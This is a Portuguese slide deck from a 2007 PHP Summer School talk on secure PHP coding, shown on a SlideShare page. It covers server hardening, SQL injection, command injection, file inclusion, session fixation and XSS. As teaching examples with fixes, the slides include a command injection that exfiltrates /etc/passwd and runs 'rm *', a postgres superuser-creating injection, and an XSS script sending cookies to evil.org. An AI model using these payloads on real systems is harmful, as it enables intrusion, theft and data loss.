SlideShare uma empresa Scribd logo
1 de 39
Baixar para ler offline
PHP Summer School
PHP Summer School




                                  Segurança
                      Nuno Loureiro <nuno@co.sapo.pt>
                             http://blog.sig9.net/
                                 20/07/2007




Nuno Loureiro <nuno@co.sapo.pt>                         20/07/2007
PHP Summer School
About me
   •    Licenciatura em Eng. Sistemas e Computação

   •    Começou a usar Linux em 1995

   •    Começou a programar PHP em 1999

   •    Organizou o 1º Simpósio de Linux em 1999 - Simplinux

   •    Sócio-fundador da ETH em 1999

   •    Autor do artigo “Programming PHP with Security in Mind” na Linux Journal 10/2002

   •    Juntou-se à equipa do SAPO em 2002

            •   Programador do Webmail do SAPO

            •   Gestor técnico da plataforma de email do SAPO

   •    Zend Certified Engineer em 2005


Segurança                                                                              2
PHP Summer School
Sumário

     •      Segurança do Sistema
             •   Sistema Operativo e Serviços
             •   Servidor de Web
     •      Código PHP
             •   Register Globals
             •   Processamento de Forms
             •   Interacção com Bases de Dados
             •   Chamar programas externos
             •   Incluir ficheiros
             •   Sessões
             •   Cross-Site Scripting
             •   Conclusão


Segurança                                                       3
PHP Summer School
Segurança do Sistema
Sistema Operativo e Serviços


      •      Sistema Operativo
              •   Manter o S.O. sempre actualizado
              •   Instalar todos os patchs de segurança disponibilizados pelo vendedor

      •      Serviços
              •   Fechar todos os ports não necessários ou
              •   Desligar todos os serviços de rede não necessários

      •      Ferramentas para auditoria de segurança
              •   Ex: Nessus - http://www.nessus.org/




 Segurança                                                                               4
PHP Summer School
Segurança do Sistema
Servidor de Web - Configuração



   •   Correr com um UID próprio (ex: nobody)
   •   Desligar opção/módulo para listar o conteúdo de directórios
             •   mod_autoindex

   •   Negar acesso a directórios não necessários
                 <LocationMatch quot;/(scripts|templates|lib|locale|config|docs)/quot;>
                    order deny,allow
                    deny from all
                 </LocationMatch>
   •   Negar acesso a ficheiros não necessários
                 <FilesMatch quot;.(inc)?~?$quot;>
                     order deny,allow
                     deny from all
                 </FilesMatch>




 Segurança                                                                        5
PHP Summer School
Segurança do Sistema
Servidor de Web - Configuração
       Falhas nestas configurações básicas podem ter consequências gravíssimas
                 Wrong!                                               Right!




wget http://foobar.pt/horde/config/horde.php.bak

É de notar que o directório config nunca precisa de ser acedido via HTTP. Os ficheiros de
configuração são incluidos pelo PHP através do filesystem

 Segurança                                                                                6
PHP Summer School
Segurança do Sistema
Servidor de Web - PHP
 php.ini:
     displays_errors = off
     log_errors = on
     error_log = /var/log/php.log
     register_globals = off **
     session.use_trans_sid = 0 **
     open_basedir = /servers/www/foo.bar/
     expose_php = off

 Auditoria de Segurança da Instalação de PHP:
    • PHPSecInfo - http://phpsec.org/projects/phpsecinfo/


                                                            ** by default
 Segurança                                                           7
PHP Summer School
Código PHP

Agora que vamos começar a programar, convém termos umas noções básicas.



      •     Segurança é uma medida e não uma característica
      •     Segurança têm de ser balanceada com os custos
      •     Segurança têm de ser balanceada com usabilidade
      •     Um sistema completamente seguro é virtualmente impossível
      •     Usar bom senso para balancear estes conceitos!
      •     Saber os conceitos para programar PHP com segurança é
            fácil, o difícil é nos habituarmos a usá-los!




Segurança                                                                 8
PHP Summer School
Código PHP

      Primeira lição e regra básica para programar PHP com segurança:




Segurança                                                               9
PHP Summer School
Código PHP

      Primeira lição e regra básica para programar PHP com segurança:




  NEVER TRUST USER INPUT!!




Segurança                                                               9
PHP Summer School
Código PHP


            Aprenderam? Permitam que me repita novamente:




Segurança                                                   10
PHP Summer School
Código PHP


            Aprenderam? Permitam que me repita novamente:




  NEVER TRUST USER INPUT!!




Segurança                                                   10
PHP Summer School
Código PHP
Register Globals
• Desde a versão 4.2.0 que o register_globals está desligado por default.
• Foi das alterações de configuração mais polémicas da história do PHP.
• Todo o tipo de variáveis externas era introduzida no Global Scope.
• Com esta alteração todas as variáveis externas são disponibilizadas em
superglobal arrays: $_GET, $_POST, $_COOKIE, $_REQUEST, $_ENV,
$_FILES, $_SESSION, ...




Segurança                                                                   11
PHP Summer School
Código PHP
Register Globals
• Desde a versão 4.2.0 que o register_globals está desligado por default.
• Foi das alterações de configuração mais polémicas da história do PHP.
• Todo o tipo de variáveis externas era introduzida no Global Scope.
• Com esta alteração todas as variáveis externas são disponibilizadas em
superglobal arrays: $_GET, $_POST, $_COOKIE, $_REQUEST, $_ENV,
$_FILES, $_SESSION, ...

            Wrong!




Segurança                                                                   11
PHP Summer School
Código PHP
Register Globals
• Desde a versão 4.2.0 que o register_globals está desligado por default.
• Foi das alterações de configuração mais polémicas da história do PHP.
• Todo o tipo de variáveis externas era introduzida no Global Scope.
• Com esta alteração todas as variáveis externas são disponibilizadas em
superglobal arrays: $_GET, $_POST, $_COOKIE, $_REQUEST, $_ENV,
$_FILES, $_SESSION, ...

            Wrong!                                     Right!




Segurança                                                                   11
PHP Summer School
Código PHP
Processamento de Forms
Spoofed Form Submission:
http://example.org/form.html:
 <form action=quot;/process.phpquot; method=quot;POSTquot;>
 <select name=quot;colorquot;>
     <option value=quot;redquot;>red</option>
     <option value=quot;greenquot;>green</option>
     <option value=quot;bluequot;>blue</option>
 </select>
 <input type=quot;submitquot; />
 </form>

Spoofed form:
<form
   action=quot;http://example.org/process.phpquot;
   method=quot;POSTquot;>
<input type=quot;textquot; name=quot;colorquot; />
<input type=quot;submitquot; />
</form>


Spoofed HTTP Request:
POST /process.php HTTP/1.1
Host: example.org
Content-Type: application/x-www-form-urlencoded
Content-Length: 9

color=red

Segurança                                                        12
PHP Summer School
Código PHP
Processamento de Forms
Spoofed Form Submission:
http://example.org/form.html:
 <form action=quot;/process.phpquot; method=quot;POSTquot;>
 <select name=quot;colorquot;>
     <option value=quot;redquot;>red</option>
     <option value=quot;greenquot;>green</option>
     <option value=quot;bluequot;>blue</option>
 </select>
 <input type=quot;submitquot; />
                                                                Right!
 </form>

Spoofed form:
<form
   action=quot;http://example.org/process.phpquot;
   method=quot;POSTquot;>
<input type=quot;textquot; name=quot;colorquot; />
<input type=quot;submitquot; />
</form>


Spoofed HTTP Request:
POST /process.php HTTP/1.1
Host: example.org
                                                  Este exemplo não parece perigoso...
Content-Type: application/x-www-form-urlencoded
Content-Length: 9

color=red

Segurança                                                                           12
PHP Summer School
Código PHP
Processamento de Forms
Spoofed Form Submission:
http://example.org/fupload.php:




Spoofed form:
<form method=quot;postquot; name=quot;fileuploadquot;
      action=quot;fupload.phpquot;>
<input type=quot;hiddenquot; name=quot;fnquot;
      value=quot;/var/www/html/index.phpquot;>
<input type=quot;hiddenquot; name=quot;fn_typequot;
      value=quot;textquot;>
<input type=quot;hiddenquot; name=quot;fn_sizequot;
     value=quot;22quot;>
<input type=quot;submitquot; name=quot;upload_filequot;
     value=quot;Uploadquot;>



Segurança                                                13
PHP Summer School
Código PHP
Processamento de Forms
Spoofed Form Submission:
http://example.org/fupload.php:




                                                       Right!




Spoofed form:
<form method=quot;postquot; name=quot;fileuploadquot;
      action=quot;fupload.phpquot;>
<input type=quot;hiddenquot; name=quot;fnquot;
      value=quot;/var/www/html/index.phpquot;>
<input type=quot;hiddenquot; name=quot;fn_typequot;
      value=quot;textquot;>
<input type=quot;hiddenquot; name=quot;fn_sizequot;
                                          ... mas este já parece perigoso!
     value=quot;22quot;>
<input type=quot;submitquot; name=quot;upload_filequot;
     value=quot;Uploadquot;>



Segurança                                                                    13
PHP Summer School
Código PHP
Interacção com Bases de Dados
SQL Injection
Exemplo:




Ataque:                                               Query executado:
http://example.com/edit.php?update_table_submit        update users set password=aaa
=1&table=users+set+password%3Daaa                        where user=quot;adminquot; # set name=$name
+where+user%3D%27admin%27+%23



          Boas práticas:
          • Filtrem os dados. Se sabem o que esperam, filtrem!
          • Se a base de dados permitir, coloquem pelicas à volta de todos os dados
          independente do tipo de dados
          • “Escape your data” - ex:   mysql_real_escape_string(), addslashes()

 Segurança                                                                                 14
PHP Summer School
Código PHP
Interacção com Bases de Dados
SQL Injection
Outro Exemplo:




Query executado:
0;
insert into pg_shadow(usename,usesysid,usesuper,usecatupd,passwd)
    select 'crack', usesysid, 't','t','crack'
    from pg_shadow where usename='postgres';
--




Segurança                                                                   15
PHP Summer School
Código PHP
Interacção com Bases de Dados
SQL Injection
Outro Exemplo:




Query executado:
0;
insert into pg_shadow(usename,usesysid,usesuper,usecatupd,passwd)
    select 'crack', usesysid, 't','t','crack'
    from pg_shadow where usename='postgres';
--


Possível Solução:




 Segurança                                                                  15
PHP Summer School
Código PHP
Chamar programas externos
Exemplo:




Ataque:
http://example.com/send.php?$to=evil%40evil.org+
%3C+%2Fetc%2Fpasswd%3B+rm+%2A



Resultado:
/usr/sbin/sendmail -i evil@evil.org
/etc/passwd; rm *




Segurança                                                         16
PHP Summer School
Código PHP
Chamar programas externos
Exemplo:




Ataque:
http://example.com/send.php?$to=evil%40evil.org+
%3C+%2Fetc%2Fpasswd%3B+rm+%2A



Resultado:
/usr/sbin/sendmail -i evil@evil.org
/etc/passwd; rm *



Solução:




Segurança                                                         16
PHP Summer School
Código PHP
Incluir ficheiros
Incluir ficheiros locais... ou remotos se o allow_url_fopen() estiver activo
Exemplo:




Ataque:
http://example.com/leftframe.php?layout=http://evil.org/nasty.html

nasty.html:




Segurança                                                                 17
PHP Summer School
Código PHP
Incluir ficheiros
Incluir ficheiros locais... ou remotos se o allow_url_fopen() estiver activo
Exemplo:




Ataque:
http://example.com/leftframe.php?layout=http://evil.org/nasty.html

nasty.html:




Segurança                                                                 17
PHP Summer School
Código PHP
Incluir ficheiros
Incluir ficheiros locais... ou remotos se o allow_url_fopen() estiver activo
Exemplo:




Ataque:
http://example.com/leftframe.php?layout=http://evil.org/nasty.html

nasty.html:




Solução:




Segurança                                                                 17
PHP Summer School
Código PHP
Sessões
Session Fixation / Session Hijacking
Exemplo para compreensão:          Atacante fornece URL:
                                       http://example.com/index.php?PHPSESSID=12345




                                   Vítima usa URL, faz login no site e
                                   atacante faz hijacking da sessão




Segurança                                                                         18
PHP Summer School
Código PHP
Sessões
Session Fixation / Session Hijacking
Exemplo para compreensão:          Atacante fornece URL:
                                       http://example.com/index.php?PHPSESSID=12345




                                   Vítima usa URL, faz login no site e
                                   atacante faz hijacking da sessão


Solução:




Segurança                                                                         18
PHP Summer School
Código PHP
Cross Site Scripting
Exemplo:               Ataque - email cujo subject é:
                       <script>
                       self.location.href=
                       quot;http://evil.org/cookie-grab.html?cookies=quot;
                       +escape(document.cookie)
                       </script>



                       Atacante pode ver nos logs do seu servidor
                       os cookies da vítima




Segurança                                                       19
PHP Summer School
Código PHP
Cross Site Scripting
Exemplo:               Ataque - email cujo subject é:
                       <script>
                       self.location.href=
                       quot;http://evil.org/cookie-grab.html?cookies=quot;
                       +escape(document.cookie)
                       </script>



                       Atacante pode ver nos logs do seu servidor
                       os cookies da vítima

Solução:




Segurança                                                       19
PHP Summer School
Código PHP
Conclusão
                 addslashes()
  intval()
                       htmlentities()           is_int()
  settype()

                                 is_scalar()               ctype_digit()
        is_numeric()
                             preg_match()            ctype_alpha()


              htmlspecialchars()                      ctype_alnum()


 mysql_real_escape_string()
                                               pg_escape_string()
                              is_float()


Segurança                                                                  20
PHP Summer School
Código PHP
Exercícios
Exercício I
Fazer o security fix do seguinte script:




 Segurança                                               21
PHP Summer School
Código PHP
Exercícios
Solução para o Exercício I:




Segurança                                    22
PHP Summer School
Código PHP
Exercícios
Exercício II
• Fazer o security fix do seguinte script:




• De que tipo de vulnerabilidade sofre este script ?




 Segurança                                                            23
PHP Summer School
Código PHP
Exercícios
Solução para o Exercício II:




• O script pode sofrer um ataque de SQL Injection


Segurança                                              24
PHP Summer School
Código PHP
Exercícios
Exercício III
• Fazer o security fix do seguinte script:




• De que tipo de vulnerabilidade sofre este script ?

 Segurança                                                            25
PHP Summer School
Código PHP
Exercícios
Solução para o Exercício III:




O script pode sofrer um ataque de Cross Site Scripting


Segurança                                                26
PHP Summer School
PHP Summer School




                                  FIM!
                           Obrigado, perguntas?
                      Nuno Loureiro <nuno@co.sapo.pt>
                             http://blog.sig9.net/
                                 20/07/2007




Nuno Loureiro <nuno@co.sapo.pt>                         20/07/2007

Mais conteúdo relacionado

Mais procurados

Programção PHP
Programção PHPProgramção PHP
Programção PHPceap
 
Joomla! do desktop ao datacenter
Joomla! do desktop ao datacenterJoomla! do desktop ao datacenter
Joomla! do desktop ao datacenterPaulino Michelazzo
 
CakePHP - Aprendendo a fazer o primeiro bolo
CakePHP - Aprendendo a fazer o primeiro boloCakePHP - Aprendendo a fazer o primeiro bolo
CakePHP - Aprendendo a fazer o primeiro boloelliando dias
 
Beyond Ruby with NodeJS - RubyConf Brasil 2010
Beyond Ruby with NodeJS - RubyConf Brasil 2010Beyond Ruby with NodeJS - RubyConf Brasil 2010
Beyond Ruby with NodeJS - RubyConf Brasil 2010Emerson Macedo
 
CakePHP - Configurando o ambiente de desenvolvimento no Windows
CakePHP - Configurando o ambiente de desenvolvimento no WindowsCakePHP - Configurando o ambiente de desenvolvimento no Windows
CakePHP - Configurando o ambiente de desenvolvimento no WindowsEmerson Soares
 
Web Services
Web ServicesWeb Services
Web Servicescodebits
 
Modularização via BPL - Abordagem Prática para DataSnap & Front-end
Modularização via BPL - Abordagem Prática para DataSnap & Front-endModularização via BPL - Abordagem Prática para DataSnap & Front-end
Modularização via BPL - Abordagem Prática para DataSnap & Front-endMario Guedes
 
Curso de PHP Básico ao Avançado
Curso de PHP Básico ao AvançadoCurso de PHP Básico ao Avançado
Curso de PHP Básico ao AvançadoLuiz Junior
 
Desenvolvemos para web?
Desenvolvemos para web?Desenvolvemos para web?
Desenvolvemos para web?Luis Vendrame
 
Ruby on Rails: um estudo de viabilidade em ambientes empresariais
Ruby on Rails: um estudo de viabilidade em ambientes empresariaisRuby on Rails: um estudo de viabilidade em ambientes empresariais
Ruby on Rails: um estudo de viabilidade em ambientes empresariaisRodrigo Recio
 
Datasnap avançado - Respostas para um sistema robusto - Embarcadero Conferenc...
Datasnap avançado - Respostas para um sistema robusto - Embarcadero Conferenc...Datasnap avançado - Respostas para um sistema robusto - Embarcadero Conferenc...
Datasnap avançado - Respostas para um sistema robusto - Embarcadero Conferenc...Kelver Merlotti
 
Ebook - Processo de Otimização de Sites WordPress
Ebook - Processo de Otimização de Sites WordPressEbook - Processo de Otimização de Sites WordPress
Ebook - Processo de Otimização de Sites WordPressDaniel Paz
 
WordCamp Floripa 2021 - Daniel - Core web vitals e WordPress
WordCamp Floripa 2021 - Daniel  - Core web vitals e WordPressWordCamp Floripa 2021 - Daniel  - Core web vitals e WordPress
WordCamp Floripa 2021 - Daniel - Core web vitals e WordPressWordCamp Floripa
 
Desenvolvimento de Sistemas Web - HTML5 - Introdução
Desenvolvimento de Sistemas Web - HTML5 - IntroduçãoDesenvolvimento de Sistemas Web - HTML5 - Introdução
Desenvolvimento de Sistemas Web - HTML5 - IntroduçãoFabio Moura Pereira
 
Tecnologias Web 2.0
Tecnologias Web 2.0 Tecnologias Web 2.0
Tecnologias Web 2.0 Duarte Nunes
 
Php e mysql aplicacao completa a partir do zero
Php e mysql   aplicacao completa a partir do zeroPhp e mysql   aplicacao completa a partir do zero
Php e mysql aplicacao completa a partir do zeroFred Ramos
 

Mais procurados (20)

Programção PHP
Programção PHPProgramção PHP
Programção PHP
 
Joomla! do desktop ao datacenter
Joomla! do desktop ao datacenterJoomla! do desktop ao datacenter
Joomla! do desktop ao datacenter
 
CakePHP - Aprendendo a fazer o primeiro bolo
CakePHP - Aprendendo a fazer o primeiro boloCakePHP - Aprendendo a fazer o primeiro bolo
CakePHP - Aprendendo a fazer o primeiro bolo
 
Beyond Ruby with NodeJS - RubyConf Brasil 2010
Beyond Ruby with NodeJS - RubyConf Brasil 2010Beyond Ruby with NodeJS - RubyConf Brasil 2010
Beyond Ruby with NodeJS - RubyConf Brasil 2010
 
Estudos Technocorp
Estudos TechnocorpEstudos Technocorp
Estudos Technocorp
 
CakePHP - Configurando o ambiente de desenvolvimento no Windows
CakePHP - Configurando o ambiente de desenvolvimento no WindowsCakePHP - Configurando o ambiente de desenvolvimento no Windows
CakePHP - Configurando o ambiente de desenvolvimento no Windows
 
Instalação CakePHP 2.2.3
Instalação CakePHP 2.2.3Instalação CakePHP 2.2.3
Instalação CakePHP 2.2.3
 
Web Services
Web ServicesWeb Services
Web Services
 
Modularização via BPL - Abordagem Prática para DataSnap & Front-end
Modularização via BPL - Abordagem Prática para DataSnap & Front-endModularização via BPL - Abordagem Prática para DataSnap & Front-end
Modularização via BPL - Abordagem Prática para DataSnap & Front-end
 
Curso de PHP Básico ao Avançado
Curso de PHP Básico ao AvançadoCurso de PHP Básico ao Avançado
Curso de PHP Básico ao Avançado
 
JavaFX 1.2
JavaFX 1.2JavaFX 1.2
JavaFX 1.2
 
Desenvolvemos para web?
Desenvolvemos para web?Desenvolvemos para web?
Desenvolvemos para web?
 
Ruby on Rails: um estudo de viabilidade em ambientes empresariais
Ruby on Rails: um estudo de viabilidade em ambientes empresariaisRuby on Rails: um estudo de viabilidade em ambientes empresariais
Ruby on Rails: um estudo de viabilidade em ambientes empresariais
 
Datasnap avançado - Respostas para um sistema robusto - Embarcadero Conferenc...
Datasnap avançado - Respostas para um sistema robusto - Embarcadero Conferenc...Datasnap avançado - Respostas para um sistema robusto - Embarcadero Conferenc...
Datasnap avançado - Respostas para um sistema robusto - Embarcadero Conferenc...
 
Curso asp - basico
Curso   asp - basicoCurso   asp - basico
Curso asp - basico
 
Ebook - Processo de Otimização de Sites WordPress
Ebook - Processo de Otimização de Sites WordPressEbook - Processo de Otimização de Sites WordPress
Ebook - Processo de Otimização de Sites WordPress
 
WordCamp Floripa 2021 - Daniel - Core web vitals e WordPress
WordCamp Floripa 2021 - Daniel  - Core web vitals e WordPressWordCamp Floripa 2021 - Daniel  - Core web vitals e WordPress
WordCamp Floripa 2021 - Daniel - Core web vitals e WordPress
 
Desenvolvimento de Sistemas Web - HTML5 - Introdução
Desenvolvimento de Sistemas Web - HTML5 - IntroduçãoDesenvolvimento de Sistemas Web - HTML5 - Introdução
Desenvolvimento de Sistemas Web - HTML5 - Introdução
 
Tecnologias Web 2.0
Tecnologias Web 2.0 Tecnologias Web 2.0
Tecnologias Web 2.0
 
Php e mysql aplicacao completa a partir do zero
Php e mysql   aplicacao completa a partir do zeroPhp e mysql   aplicacao completa a partir do zero
Php e mysql aplicacao completa a partir do zero
 

Destaque

DrupalCamp Campinas 2016 - Auditando performance, conteúdo e boas práticas em...
DrupalCamp Campinas 2016 - Auditando performance, conteúdo e boas práticas em...DrupalCamp Campinas 2016 - Auditando performance, conteúdo e boas práticas em...
DrupalCamp Campinas 2016 - Auditando performance, conteúdo e boas práticas em...Erick Bonnemasou Jaccoud
 
Protegendo Aplicações Php com PHPIDS - Php Conference 2009
Protegendo Aplicações Php com PHPIDS - Php Conference 2009Protegendo Aplicações Php com PHPIDS - Php Conference 2009
Protegendo Aplicações Php com PHPIDS - Php Conference 2009Conviso Application Security
 
Confraria Security And IT - End Point Security
Confraria Security And IT - End Point SecurityConfraria Security And IT - End Point Security
Confraria Security And IT - End Point SecurityLuis Grangeia
 
Treinamento Sonicwall
Treinamento SonicwallTreinamento Sonicwall
Treinamento SonicwallLeo Costa
 
PHP para aplicações Web de grande porte
PHP para aplicações Web  de grande portePHP para aplicações Web  de grande porte
PHP para aplicações Web de grande porteFelipe Ribeiro
 
CURSO DE PHP PARA INICIANTES - AULA 1
CURSO DE PHP PARA INICIANTES - AULA 1CURSO DE PHP PARA INICIANTES - AULA 1
CURSO DE PHP PARA INICIANTES - AULA 1Norivan Oliveira
 
PHP Conference Brasil 2011 - Desenvolvendo Seguro (do rascunho ao deploy)
PHP Conference Brasil 2011 - Desenvolvendo Seguro (do rascunho ao deploy)PHP Conference Brasil 2011 - Desenvolvendo Seguro (do rascunho ao deploy)
PHP Conference Brasil 2011 - Desenvolvendo Seguro (do rascunho ao deploy)Erick Belluci Tedeschi
 

Destaque (12)

DrupalCamp Campinas 2016 - Auditando performance, conteúdo e boas práticas em...
DrupalCamp Campinas 2016 - Auditando performance, conteúdo e boas práticas em...DrupalCamp Campinas 2016 - Auditando performance, conteúdo e boas práticas em...
DrupalCamp Campinas 2016 - Auditando performance, conteúdo e boas práticas em...
 
Protegendo Aplicações Php com PHPIDS - Php Conference 2009
Protegendo Aplicações Php com PHPIDS - Php Conference 2009Protegendo Aplicações Php com PHPIDS - Php Conference 2009
Protegendo Aplicações Php com PHPIDS - Php Conference 2009
 
Tratando as vulnerabilidades do Top 10 com php
Tratando as vulnerabilidades do Top 10 com phpTratando as vulnerabilidades do Top 10 com php
Tratando as vulnerabilidades do Top 10 com php
 
Segurança PHP em 2016
Segurança PHP em 2016Segurança PHP em 2016
Segurança PHP em 2016
 
Confraria Security And IT - End Point Security
Confraria Security And IT - End Point SecurityConfraria Security And IT - End Point Security
Confraria Security And IT - End Point Security
 
Linguagem PHP
Linguagem PHPLinguagem PHP
Linguagem PHP
 
Treinamento Sonicwall
Treinamento SonicwallTreinamento Sonicwall
Treinamento Sonicwall
 
PHP para aplicações Web de grande porte
PHP para aplicações Web  de grande portePHP para aplicações Web  de grande porte
PHP para aplicações Web de grande porte
 
Introdução a php
Introdução a phpIntrodução a php
Introdução a php
 
CURSO DE PHP PARA INICIANTES - AULA 1
CURSO DE PHP PARA INICIANTES - AULA 1CURSO DE PHP PARA INICIANTES - AULA 1
CURSO DE PHP PARA INICIANTES - AULA 1
 
PHP Conference Brasil 2011 - Desenvolvendo Seguro (do rascunho ao deploy)
PHP Conference Brasil 2011 - Desenvolvendo Seguro (do rascunho ao deploy)PHP Conference Brasil 2011 - Desenvolvendo Seguro (do rascunho ao deploy)
PHP Conference Brasil 2011 - Desenvolvendo Seguro (do rascunho ao deploy)
 
Php Presentation
Php PresentationPhp Presentation
Php Presentation
 

Semelhante a Security & PHP

Segurança (in portuguese)
Segurança (in portuguese)Segurança (in portuguese)
Segurança (in portuguese)Bruno Pedro
 
Pense no futuro: PHP com Zend Framework
Pense no futuro: PHP com Zend FrameworkPense no futuro: PHP com Zend Framework
Pense no futuro: PHP com Zend FrameworkFlávio Lisboa
 
PHP e Segurança - Uma união possível
PHP e Segurança - Uma união possívelPHP e Segurança - Uma união possível
PHP e Segurança - Uma união possívelEr Galvão Abbott
 
Depurando aplicações PHP like a BOSS
Depurando aplicações PHP like a BOSSDepurando aplicações PHP like a BOSS
Depurando aplicações PHP like a BOSSThiago Rodrigues
 
PHP, Presente e Futuro
PHP, Presente e FuturoPHP, Presente e Futuro
PHP, Presente e FuturoFreedom DayMS
 
PHP Jedi - Boas Práticas e Alta Performance
PHP Jedi - Boas Práticas e Alta PerformancePHP Jedi - Boas Práticas e Alta Performance
PHP Jedi - Boas Práticas e Alta PerformanceFelipe Ribeiro
 
2290494 integrando-flex-com-php
2290494 integrando-flex-com-php2290494 integrando-flex-com-php
2290494 integrando-flex-com-phpBrenno Abreu
 
PHP like a super hero
PHP like a super heroPHP like a super hero
PHP like a super heroElton Minetto
 
O que esperar do Zend Framework 3
O que esperar do Zend Framework 3O que esperar do Zend Framework 3
O que esperar do Zend Framework 3Flávio Lisboa
 
PW01 - Introdução a programação em PHPv7
PW01 - Introdução a programação em PHPv7PW01 - Introdução a programação em PHPv7
PW01 - Introdução a programação em PHPv7Silvano Oliveira
 
Qualitypress - Segurança em Aplicações Web com PHP
Qualitypress - Segurança em Aplicações Web com PHPQualitypress - Segurança em Aplicações Web com PHP
Qualitypress - Segurança em Aplicações Web com PHPQuality Press
 
Cakephp - framework de desenvolvimento de aplicações Web em PHP
Cakephp - framework de desenvolvimento de aplicações Web em PHPCakephp - framework de desenvolvimento de aplicações Web em PHP
Cakephp - framework de desenvolvimento de aplicações Web em PHPArlindo Santos
 
Lampada Php Conference Brasil 2007 Palestra
Lampada Php Conference Brasil 2007 PalestraLampada Php Conference Brasil 2007 Palestra
Lampada Php Conference Brasil 2007 PalestraDavid O'Keefe
 
Phpjedi 090307090434-phpapp01 2
Phpjedi 090307090434-phpapp01 2Phpjedi 090307090434-phpapp01 2
Phpjedi 090307090434-phpapp01 2PrinceGuru MS
 
PHP - Programação para seres humanos
PHP - Programação para seres humanosPHP - Programação para seres humanos
PHP - Programação para seres humanosCaike Souza
 
Alta Performance de Aplicações Web em PHP - Nginx
Alta Performance de Aplicações Web em PHP - NginxAlta Performance de Aplicações Web em PHP - Nginx
Alta Performance de Aplicações Web em PHP - NginxThiago Paes
 

Semelhante a Security & PHP (20)

Segurança (in portuguese)
Segurança (in portuguese)Segurança (in portuguese)
Segurança (in portuguese)
 
Mini Curso de PHP
Mini Curso de PHPMini Curso de PHP
Mini Curso de PHP
 
Novidades do PHP 5.3 e 6
Novidades do PHP 5.3 e 6Novidades do PHP 5.3 e 6
Novidades do PHP 5.3 e 6
 
Pense no futuro: PHP com Zend Framework
Pense no futuro: PHP com Zend FrameworkPense no futuro: PHP com Zend Framework
Pense no futuro: PHP com Zend Framework
 
Python 08
Python 08Python 08
Python 08
 
PHP e Segurança - Uma união possível
PHP e Segurança - Uma união possívelPHP e Segurança - Uma união possível
PHP e Segurança - Uma união possível
 
Depurando aplicações PHP like a BOSS
Depurando aplicações PHP like a BOSSDepurando aplicações PHP like a BOSS
Depurando aplicações PHP like a BOSS
 
PHP, Presente e Futuro
PHP, Presente e FuturoPHP, Presente e Futuro
PHP, Presente e Futuro
 
PHP Jedi - Boas Práticas e Alta Performance
PHP Jedi - Boas Práticas e Alta PerformancePHP Jedi - Boas Práticas e Alta Performance
PHP Jedi - Boas Práticas e Alta Performance
 
2290494 integrando-flex-com-php
2290494 integrando-flex-com-php2290494 integrando-flex-com-php
2290494 integrando-flex-com-php
 
PHP like a super hero
PHP like a super heroPHP like a super hero
PHP like a super hero
 
O que esperar do Zend Framework 3
O que esperar do Zend Framework 3O que esperar do Zend Framework 3
O que esperar do Zend Framework 3
 
PW01 - Introdução a programação em PHPv7
PW01 - Introdução a programação em PHPv7PW01 - Introdução a programação em PHPv7
PW01 - Introdução a programação em PHPv7
 
Qualitypress - Segurança em Aplicações Web com PHP
Qualitypress - Segurança em Aplicações Web com PHPQualitypress - Segurança em Aplicações Web com PHP
Qualitypress - Segurança em Aplicações Web com PHP
 
CakePHP
CakePHPCakePHP
CakePHP
 
Cakephp - framework de desenvolvimento de aplicações Web em PHP
Cakephp - framework de desenvolvimento de aplicações Web em PHPCakephp - framework de desenvolvimento de aplicações Web em PHP
Cakephp - framework de desenvolvimento de aplicações Web em PHP
 
Lampada Php Conference Brasil 2007 Palestra
Lampada Php Conference Brasil 2007 PalestraLampada Php Conference Brasil 2007 Palestra
Lampada Php Conference Brasil 2007 Palestra
 
Phpjedi 090307090434-phpapp01 2
Phpjedi 090307090434-phpapp01 2Phpjedi 090307090434-phpapp01 2
Phpjedi 090307090434-phpapp01 2
 
PHP - Programação para seres humanos
PHP - Programação para seres humanosPHP - Programação para seres humanos
PHP - Programação para seres humanos
 
Alta Performance de Aplicações Web em PHP - Nginx
Alta Performance de Aplicações Web em PHP - NginxAlta Performance de Aplicações Web em PHP - Nginx
Alta Performance de Aplicações Web em PHP - Nginx
 

Mais de Nuno Loureiro

The Yin-Yang of Web Authentication
The Yin-Yang of Web AuthenticationThe Yin-Yang of Web Authentication
The Yin-Yang of Web AuthenticationNuno Loureiro
 
Living With Passwords: Personal Password Management
Living With Passwords: Personal Password ManagementLiving With Passwords: Personal Password Management
Living With Passwords: Personal Password ManagementNuno Loureiro
 
DumpFS - A Distributed Storage Solution
DumpFS - A Distributed Storage SolutionDumpFS - A Distributed Storage Solution
DumpFS - A Distributed Storage SolutionNuno Loureiro
 
Vanishing Point - Resilient DNSSEC Key Repository
Vanishing Point - Resilient DNSSEC Key RepositoryVanishing Point - Resilient DNSSEC Key Repository
Vanishing Point - Resilient DNSSEC Key RepositoryNuno Loureiro
 
Advanced SQL Injection: Attacks
Advanced SQL Injection: Attacks Advanced SQL Injection: Attacks
Advanced SQL Injection: Attacks Nuno Loureiro
 

Mais de Nuno Loureiro (8)

C days2015
C days2015C days2015
C days2015
 
The Yin-Yang of Web Authentication
The Yin-Yang of Web AuthenticationThe Yin-Yang of Web Authentication
The Yin-Yang of Web Authentication
 
Living With Passwords: Personal Password Management
Living With Passwords: Personal Password ManagementLiving With Passwords: Personal Password Management
Living With Passwords: Personal Password Management
 
It's no Secret
It's no SecretIt's no Secret
It's no Secret
 
DumpFS - A Distributed Storage Solution
DumpFS - A Distributed Storage SolutionDumpFS - A Distributed Storage Solution
DumpFS - A Distributed Storage Solution
 
Vanishing Point - Resilient DNSSEC Key Repository
Vanishing Point - Resilient DNSSEC Key RepositoryVanishing Point - Resilient DNSSEC Key Repository
Vanishing Point - Resilient DNSSEC Key Repository
 
Advanced SQL Injection: Attacks
Advanced SQL Injection: Attacks Advanced SQL Injection: Attacks
Advanced SQL Injection: Attacks
 
IPv6
IPv6IPv6
IPv6
 

Security & PHP

  • 1. PHP Summer School PHP Summer School Segurança Nuno Loureiro <nuno@co.sapo.pt> http://blog.sig9.net/ 20/07/2007 Nuno Loureiro <nuno@co.sapo.pt> 20/07/2007
  • 2. PHP Summer School About me • Licenciatura em Eng. Sistemas e Computação • Começou a usar Linux em 1995 • Começou a programar PHP em 1999 • Organizou o 1º Simpósio de Linux em 1999 - Simplinux • Sócio-fundador da ETH em 1999 • Autor do artigo “Programming PHP with Security in Mind” na Linux Journal 10/2002 • Juntou-se à equipa do SAPO em 2002 • Programador do Webmail do SAPO • Gestor técnico da plataforma de email do SAPO • Zend Certified Engineer em 2005 Segurança 2
